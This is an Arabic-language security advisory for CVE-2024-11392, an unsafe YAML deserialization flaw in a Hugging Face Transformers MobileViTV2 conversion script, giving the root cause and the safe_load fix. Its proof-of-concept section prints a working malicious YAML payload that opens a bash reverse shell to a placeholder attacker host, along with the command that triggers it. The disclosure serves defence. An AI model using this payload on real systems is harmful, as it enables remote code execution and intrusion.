CVE-2024-11392

CVE-2024-11392

Hugging Face Transformers MobileViTV2 ثغرة تنفيذ التعليمات البرمجية عن بُعد بسبب إلغاء تسلسل البيانات غير الموثوقة

نظرة عامة عالية المستوى وتأثيرات الثغرة: تسمح الثغرة للمهاجم بتنفيذ تعليمات برمجية عشوائية على الجهاز المضيف عن طريق توفير ملف تكوين ضار للنص البرمجي convert_mlcvnets_to_pytorch.py في مستودع Hugging Face Transformers. إذا استخدم مستخدم غير متوقع نموذجًا من طرف ثالث مصحوبًا بملف تكوين ضار، فإن تنفيذ النص البرمجي convert_mlcvnets_to_pytorch.py سيؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE) على نظام الضحية.

المنتج المعرض للثغرة

• المنتج: Hugging Face Transformers
• الوحدة: MobileViTV2
• الملف: transformers/src/transformers/models/mobilevitv2/convert_mlcvnets_to_pytorch.py
• الإصدار: الأحدث
• رابط GitHub الدائم: https://github.com/huggingface/transformers/blob/bdb9106f247fca48a71eb384be25dbbd29b065a8/src/transformers/models/mobilevitv2/convert_mlcvnets_to_pytorch.py

تحليل السبب الجذري

• وصف تفصيلي للثغرة: تنشأ الثغرة من إلغاء تسلسل غير آمن لبيانات غير موثوقة. يستخدم النص البرمجي دالة yaml.load مع المحمل FullLoader، الذي يقوم بتحميل لغة YAML بالكامل ويكون عرضة لتنفيذ التعليمات البرمجية.

• تدفق الكود من الإدخال إلى الحالة المعرضة للخطر:

  1. يقوم المستخدم بتنزيل نموذج ml-cvnet من طرف ثالث مع ملف التكوين الخاص به.
  2. يقوم المستخدم بتشغيل النص البرمجي convert_mlcvnets_to_pytorch.py ويمرر إليه ملف التكوين.
  3. يقوم النص البرمجي convert_mlcvnets_to_pytorch.py بإلغاء تسلسل ملف التكوين وتنفيذ التعليمات البرمجية الضارة.

• نقطة الحقن: تحدث الثغرة عند نقطة استدعاء yaml.load(yaml_file, Loader=yaml.FullLoader). رابط GitHub الدائم: https://github.com/huggingface/transformers/blob/bdb9106f247fca48a71eb384be25dbbd29b065a8/src/transformers/models/mobilevitv2/convert_mlcvnets_to_pytorch.py#L57

• الإصلاحات المقترحة: استبدل yaml.load(yaml_file, Loader=yaml.FullLoader) بـ yaml.safe_load(yaml_file) لمنع تنفيذ التعليمات البرمجية العشوائية.

• تعليمات تنفيذ الإثبات العملي:

1. أنشئ ملف تكوين YAML ضار باسم transformers_exploit.yaml لفتح شل عكسية على نظام الضحية:

!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1')"

2. قم بتشغيل النص البرمجي convert_mlcvnets_to_pytorch.py ومرر ملف transformers_exploit.yaml إلى الوسيط --orig_config_path:

> python convert_mlcvnets_to_pytorch.py --orig_checkpoint_path dummy_checkpoint.pt --orig_config_path transformers_exploit.yaml --pytorch_dump_folder_path dummy_output --task imagenet1k_256

ملاحظة: يمكن ترك dummy_checkpoint.pt كملف فارغ، و dummy_output كدليل فارغ، و task كأي خيار من الخيارات المذكورة في النص البرمجي.

رابط تحميل البرنامج: https://github.com/huggingface/transformers/tree/main